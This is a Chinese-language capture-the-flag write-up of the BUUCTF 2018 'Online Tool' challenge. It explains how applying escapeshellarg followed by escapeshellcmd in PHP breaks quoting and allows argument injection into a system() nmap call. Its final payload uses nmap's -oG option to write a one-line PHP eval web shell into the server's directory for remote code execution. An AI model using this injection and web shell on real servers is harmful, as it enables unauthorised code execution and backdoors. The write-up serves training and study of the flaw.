简介
原题复现: https://github.com/glzjin/buuctf_2018_online_tool (环境 php5.6.40)
考察知识点: escapeshellarg 和 escapeshellcmd 使用不当导致 rce
线上平台: https://buuoj.cn(北京联合大学公开的 CTF 平台) 榆林学院内可使用信安协会内部的 CTF 训练平台找到此题
过程
简单审计
菜狗打开页面 看到源码 看到两个函数不知道 看 wp 吧...
- <?PHP
- print_r($_SERVER['HTTP_X_FORWARDED_FOR']);
- if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
- print("1");
- }
- if(!isset($_GET['host'])) {
- highlight_file(__FILE__);
- } else {
- $host = $_GET['host'];
- $host = escapeshellarg($host);
- $host = escapeshellcmd($host);
- $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
- echo 'you are in sandbox'.$sandbox;
- @mkdir($sandbox);
- chdir($sandbox);
- echo system("nmap -T5 -sT -Pn --host-timeout 2 -F".$host);
- }
先学了解两个陌生的函数
escapeshellcmd
escapeshellcmd - shell 元字符转义
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义. 此函数保证用户输入的数据在传送到 exec() 或 system() 函数, 或者 执行操作符 之前进行转义.
反斜线 (\) 会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF. '和" 仅在不配对儿的时候被转义. 在 Windows 平台上, 所有这些字符以及 % 和 ! 字符都会被空格代替.
- <?PHP
- var_dump(escapeshellcmd("xiaohua da wang"));
- echo "<br>";
- var_dump(escapeshellcmd("xiaohua'da'wang"));
- echo "<br>";
- var_dump(escapeshellcmd("xiaohua'''da''wang"));
- echo "<br>";
- 结果: 仅转义了单个出现的单引号
- escapeshellarg
- escapeshellarg - 把字符串转码为可以在 shell 命令里使用的参数
- escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号, 这样以确保能够直接将一个字符串传入 shell 函数, 并且还是确保安全的. 对于用户输入的部分参数就应该使用这个函数. shell 函数包含 exec(), system() 执行运算符 .
- <?php
- var_dump(escapeshellarg("xiaohua da wang"));
- echo '<br>';
- var_dump(escapeshellarg("xiaohua'da'wang"));
- echo '<br>';
- var_dump(escapeshellarg("xiaohua'''da'wang"));
- echo '<br>';
结果: 只要出现单引号就进行转义
所以说 escapeshellcmd 和不同之处在于 escapeshellarg, 前者仅会对落单了的单引号进行转义, 而后者会对所有单引号进行转义, 前者会对一些特殊字符进行转义如:
- & # ; ` | * ? ~ <> ^ ( ) [ ] { } $
- <?PHP
- var_dump(escapeshellcmd("& # ; ` | * ? ~ <> ^ ( ) [ ] {
- } $"));
- echo "<br>";
参考学习: https://paper.seebug.org/164/
传入的参数是: 172.17.0.2' -v -d a=1
经过 escapeshellarg 处理后变成了'172.17.0.2'\''-v -d a=1', 即先对单引号转义, 再用单引号将左右两部分括起来从而起到连接的作用.
经过 escapeshellcmd 处理后变成'172.17.0.2'\\''-v -d a=1\', 这是因为 escapeshellcmd 对 \ 以及最后那个不配对儿的引号进行了转义: http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是 curl '172.17.0.2'\\''-v -d a=1\', 由于中间的 \\ 被解释为 \ 而不再是转义字符, 所以后面的'没有被转义, 与再后面的'配对儿成了一个空白连接符. 所以可以简化为 curl 172.17.0.2\ -v -d a=1', 即向 172.17.0.2 \ 发起请求, POST 数据为 a=1'.
nmap 参数: https://blog.csdn.net/qq_26090065/article/details/80285088
在 nmap 命令中 有一个参数 - oG 可以实现将命令和结果写到文件
最终 payload
这个命令就是我们的输入可控! 然后写入到文件
?host='<?php @eval($_POST["xiaohua"]);?> -oG xiaohua.php'
显示生成的文件夹名 我们拼凑下访问
http://6b6aa4fa-cc55-4b5d-8dd9-9ba66a236355.node3.buuoj.cn/4d484018dc3b664c4cc70a3ef2b8e7a3/xiaohua.php
参考学习: Online Tool(BUUCTF 2018)
PHP escapeshellarg()+escapeshellcmd() 之殇 https://paper.seebug.org/164/
[原题复现 + 审计][BUUCTF 2018]web Online Tool(escapeshellarg 和 escapeshellcmd 使用不当导致 rce)
来源: http://www.bubuko.com/infodetail-3459253.html